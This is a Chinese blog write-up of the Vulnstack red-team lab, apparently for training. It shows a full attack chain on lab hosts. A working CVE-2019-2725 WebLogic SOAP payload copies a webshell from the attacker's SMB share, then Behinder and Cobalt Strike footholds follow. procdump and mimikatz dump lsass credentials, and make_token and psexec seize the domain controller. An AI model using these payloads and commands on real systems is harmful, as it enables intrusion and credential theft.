[渗透测试]Vulnstack 红队(二)

本文详细介绍了利用Weblogic的CVE-2019-2725漏洞进行攻击的步骤,包括使用nmap扫描、WeblogicScan工具检测、上传webshell、执行POC以及利用冰蝎进行域渗透。在成功获取权限后,进一步通过CS工具收集域用户信息,并最终拿下域控制器。整个过程展示了网络攻防中的漏洞利用和域控接管技术。
摘要由CSDN通过智能技术生成

域环境初始化

DC
IP:10.10.10.10  OS:Windows 2012(64)
应用:AD域

WEB
IP1:10.10.10.80  IP2:192.168.111.80  OS:Windows 2008(64)
应用:Weblogic 10.3.6  MSSQL 2008

PC
IP1:10.10.10.201  IP2:192.168.111.201  OS:Windows 7(32)
应用:

攻击机
IP:192.168.111.5 OS:Kali

weblogic漏洞利用

nmap扫描

nmap -p- -T5 192.168.111.80 -o web

-p- 表示扫描所有端口;

-T5 指定扫描过程使用的时序,总共有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4。

-o 保存扫描结果到文件web

image-20220124232258229

常用端口是开放状态1433是mssql,7001我们知道是weblogic服务,因为我们前面手工开启的。

考虑weblogic服务漏洞,找到WeblogicScan工具扫一下。

工具链接

python3 WeblogicScan.py -u 192.168.111.80 -p 7001

image-20220125004053662

发现一个漏洞

CVE-2019-2725漏洞描述:这是一个Weblogic反序列化远程代码执行漏洞。部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

启动smbserver共享文件服务

我们需要先把/root/Behinder/server/shell.jsp webshell木马程序上传weblogic服务器上。然后再使用冰蝎连接shell.jsp木马程序。

impacket-smbserver  share /root/桌面/Behinder/server &

POC:

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\192.168.111.5\share\shell.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

发包:

image-20220126120909101

202状态码:Accepted 表示服务器端已经收到请求消息,但是尚未进行处理。但是对于请求的处理却是无保证的,即稍后无法通过 HTTP 协议给客户端发送一个异步请求来告知其请求的处理结果。这个状态码被设计用来将请求交由另外一个进程或者服务器来进行处理,或者是对请求进行批处理的情形。

问题:发现无法访问共享的文件

使用漏洞利用工具上传shell

上传冰蝎的马

image-20220128134108137

启动冰蝎

java -jar Behinder_v3.0_Beta6_linux.jar &

image-20220126173529186

冰蝎连接

URL:http://192.168.111.80:7001/_async/shell.jsp
密码:rebeyond

image-20220128134239677

连接成功

域渗透

CS上线

启动cs服务器,密码是123456

./teamserver 192.168.111.5 123456  &

启动客户端

./start.sh &

image-20220128141033650

接下来创建一个监听器

image-20220128172835859

在Attacks中选择

image-20220128173049397

选择之后保存,再利用冰蝎上传这个exe文件

image-20220128173751479

接下来在虚拟终端中运行这个程序即可

打开会话,将命令执行周期修改为2s

image-20220128174122183

查看当前用户身份,为admin账户

image-20220128174403999

使用 procdump64+mimikatz 获取 win 用户明文密码

procdump64.exe介绍:它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。

lsass.exe进程概述:lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。也就是说lsass.exe进程运行后,里面会保存用户帐号和密码信息。

beacon> shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp

参数说明:

-accepteula参数:指定是否自动接受 Microsoft 软件许可条款。所有无人参与安装都需要此设置。
-ma 参数:生成full dump, 即包括进程的所有内存. 默认的dump格式包括线程和句柄信息.

解密,这里数字卫士没有拦击并不说明 mimikatz 是免杀的,实际环境如果 mimikatz 不是免杀的需 要将 lsass.dmp 文件拖回本地放至相同的系统中进行解密。

shell mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"> password.txt

直接使用 download 命令下载,下载后会保存到程序目录的 downloads 目录。

使用CS进行凭据搜集

hashdump
logonpasswords

image-20220128175728739

目前得到域用户信息:

域用户名:de1ay\mssql            密码:1qaz@WSX

域用户名:de1ay\administrator    密码:1qaz@WSX   #这是DC域管理员用户和密码

本地用户名:WEB\de1ay           密码:1qaz@WSX   该用户是系统本地登录系统用的。

获取域控

查看网络信息找到域控

beacon> shell ipconfig /all

image-20220128180341140

DNS 服务器 10.10.10.10 也就是域控。 查看域控制器

beacon> shell net group "domain controllers" /domain

获得:

主机名:DC,完整主机是:DC.de1ay.com
再确认主机名为DC的IP地址:
beacon> shell ping dc  
或:beacon> shell ping DC   

成功ping通

image-20220128181038516

接下来查看域管理员

shell net group "domain admins" /domain

连接域控服务器-反弹域控shell

回到控制目标主机的初始用户账户下

beacon> rev2self    

查看当前的权限:

beacon> getuid

通过前面获取到的DC的DE1AY\administrator账户信息,生成新的凭证。

beacon> make_token DE1AY\administrator 1qaz@WSX

创建新的监听实现中转,便于通过命名管道 psexec 通过 SMB Listener 横向过去。

image-20220128181744129

名称就叫smb这个后面要用。

DC上线,jump会使用前面的凭证和smb监听器,完成登录DC的过程

beacon> jump psexec DC smb
 
或:jump psexec 10.10.10.10 smb #目标机器可以是 DC 主机名,也可以是 IP

image-20220128182313560

拿下域控

image-20220128182404644

  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值